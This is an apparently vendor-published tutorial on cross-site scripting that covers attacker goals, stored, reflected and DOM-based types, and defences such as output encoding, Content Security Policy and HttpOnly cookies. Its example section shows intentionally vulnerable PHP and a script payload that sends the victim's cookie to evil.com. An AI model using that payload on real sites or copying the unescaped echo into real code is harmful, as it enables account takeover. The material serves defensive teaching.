The simple explanation

Cross-site scripting, or XSS, happens when an attacker is able to inject their own JavaScript code into a web page that other users then view. Because browsers trust the content of a page they are loading, they will run that script without question. The script runs as if it is part of the legitimate website — giving the attacker the same access to the page that the website itself has.

Think of it this way: imagine a website has a comments section, and you can leave a comment for others to read. If the website does not clean up what you type before displaying it, and you type a piece of JavaScript code instead of a normal comment, every visitor who loads the page will have that code run in their browser. The attacker is not breaking into the server — they are making the website deliver an attack on their behalf.

This is why it is called "cross-site" scripting. The attack crosses from the attacker, through the website, to the victim.

Why this matters

XSS is consistently ranked in the top three most common web vulnerabilities. According to OWASP, it has appeared in the Top 10 list for over 15 years and affects an enormous number of live websites today.

What attackers can do with XSS

The impact of an XSS vulnerability depends on what the page can access and what the user is doing. Because the malicious script runs as part of the real page, it can do almost anything the real page can do. Here are the most common things attackers use XSS for:

  • Session hijacking: The script reads the victim's session cookie and sends it to the attacker. The attacker then uses that cookie to log in as the victim — without ever knowing their password.
  • Credential theft: The script injects a fake login form into the page. The victim types their username and password, and those credentials are sent directly to the attacker.
  • Keylogging: The script records every key the victim types on the page — including passwords, credit card numbers, and personal information.
  • Redirect to phishing: The script silently redirects the victim to a fake version of the website designed to steal their credentials or install malware.
  • Defacement: The script changes what the victim sees on the page — replacing content with attacker-controlled material.
  • Spreading the attack: On social platforms or sites with shared content, XSS can spread automatically — each new victim's account is compromised and used to deliver the XSS payload to more users.

The three types of XSS

Not all XSS works the same way. Security researchers classify it into three main types based on how the malicious script is delivered and stored.

Stored XSS (also called Persistent XSS)

This is the most dangerous type. The attacker submits malicious code to the website — through a comment, a profile field, a product review, or any other input — and the website saves it to its database. Every time any user loads the page that displays that content, their browser runs the attacker's code.

Stored XSS is particularly harmful because it does not require the attacker to interact with victims individually. They plant the code once, and it runs for every user who visits the page until someone removes it. A single payload on a popular page could compromise thousands of user accounts.

Reflected XSS (also called Non-Persistent XSS)

In reflected XSS, the malicious script is embedded in a link. When a victim clicks the link, their browser sends the malicious code to the server as part of a request, and the server "reflects" it back in the response — which the browser then executes.

The key difference from stored XSS is that the payload is not saved on the server. Instead, the attacker has to trick victims into clicking the malicious link, typically through phishing emails, social media posts, or forum messages. The attack only affects users who click the specific link.

DOM-Based XSS

DOM-based XSS is the most technically complex type. Instead of the malicious code being sent to the server and reflected back, it is processed entirely in the victim's browser by the page's own JavaScript. The server never sees the malicious payload — the vulnerability lives in the client-side code.

This type is increasingly common in modern single-page applications that rely heavily on JavaScript. It is also the hardest to detect with traditional server-side scanning, because the vulnerability is never visible in server responses.

A simple example

Here is a minimal example showing how reflected XSS can work. Imagine a search page that displays your search term back to you:

<!-- Vulnerable code: the search term is inserted directly into the HTML -->
<p>You searched for: <?php echo $_GET['q']; ?></p>

<!-- If an attacker crafts this URL: -->
https://example.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>

<!-- The page renders: -->
<p>You searched for: <script>document.location='https://evil.com/?c='+document.cookie</script></p>

When a victim loads that URL, their browser sees a <script> tag in the page and runs it — sending their session cookie to the attacker's server. The attacker captures that cookie and uses it to take over the victim's account.

How to prevent XSS

The good news is that XSS is well understood and there are reliable techniques to prevent it. The core principle is simple: never trust data that comes from outside your application, and always treat user input as plain text rather than code.

Output encoding

The most important defence is to encode any user-provided data before inserting it into HTML. Encoding converts characters that have special meaning in HTML — like <, >, and & — into their safe HTML entity equivalents. This means even if an attacker types a script tag, the browser displays it as text rather than executing it.

// Vulnerable — raw output
echo $_GET['name'];

// Safe — HTML-encoded output
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

Most modern frameworks do this automatically when you use their templating systems. In Laravel Blade, the double-curly-brace syntax {{ $var }} encodes output by default. In React, JSX expressions are automatically escaped. Always use your framework's built-in output mechanisms rather than raw string concatenation.

Content Security Policy (CSP)

A Content Security Policy is an HTTP response header that tells the browser which sources of scripts are legitimate. If a browser receives a page with a strict CSP, it will refuse to execute any script that was not explicitly allowed — including an attacker's injected code.

A basic CSP header that prevents inline scripts looks like this:

Content-Security-Policy: default-src 'self'; script-src 'self'

This tells the browser to only load scripts from the same origin as the page, blocking any inline scripts or scripts from external domains. CSP is a powerful secondary defence — even if an XSS vulnerability exists, a well-configured CSP can prevent the attacker's script from doing any harm.

Input validation and sanitisation

Validating input means checking that what a user submits matches what you expect. If a field should only accept a number, reject anything that is not a number. If a field should only accept a name, reject inputs that contain HTML tags or script characters.

For situations where you genuinely need to accept HTML — like a rich-text editor — use a dedicated HTML sanitisation library rather than trying to write your own filters. Libraries like DOMPurify for JavaScript and HTMLPurifier for PHP are maintained by security experts and handle the many edge cases that hand-rolled sanitisers miss.

HttpOnly cookies

One of the most common goals of XSS is stealing session cookies. The HttpOnly flag on a cookie tells the browser not to allow JavaScript to access it. Even if an attacker successfully injects a script, a document.cookie call will not return HttpOnly cookies — limiting the damage the attacker can do.

Check your site for XSS

ScanexAI automatically tests your website for reflected and stored XSS vulnerabilities by sending test payloads into form inputs and URL parameters. Run a free scan to see if your site is affected.

Summary

Cross-site scripting is a vulnerability that lets attackers inject malicious JavaScript into pages that other users view. It can be used to steal session cookies, harvest credentials, redirect victims to phishing pages, or spread attacks across a platform. The three types — stored, reflected, and DOM-based — differ in how the payload is delivered but share the same root cause: user input being treated as code.

Prevention comes down to a few key practices: encode all output, implement a Content Security Policy, validate and sanitise all input, and use HttpOnly on session cookies. Most modern frameworks handle encoding automatically as long as you use their built-in templating — the vulnerabilities typically appear when developers bypass those mechanisms for convenience.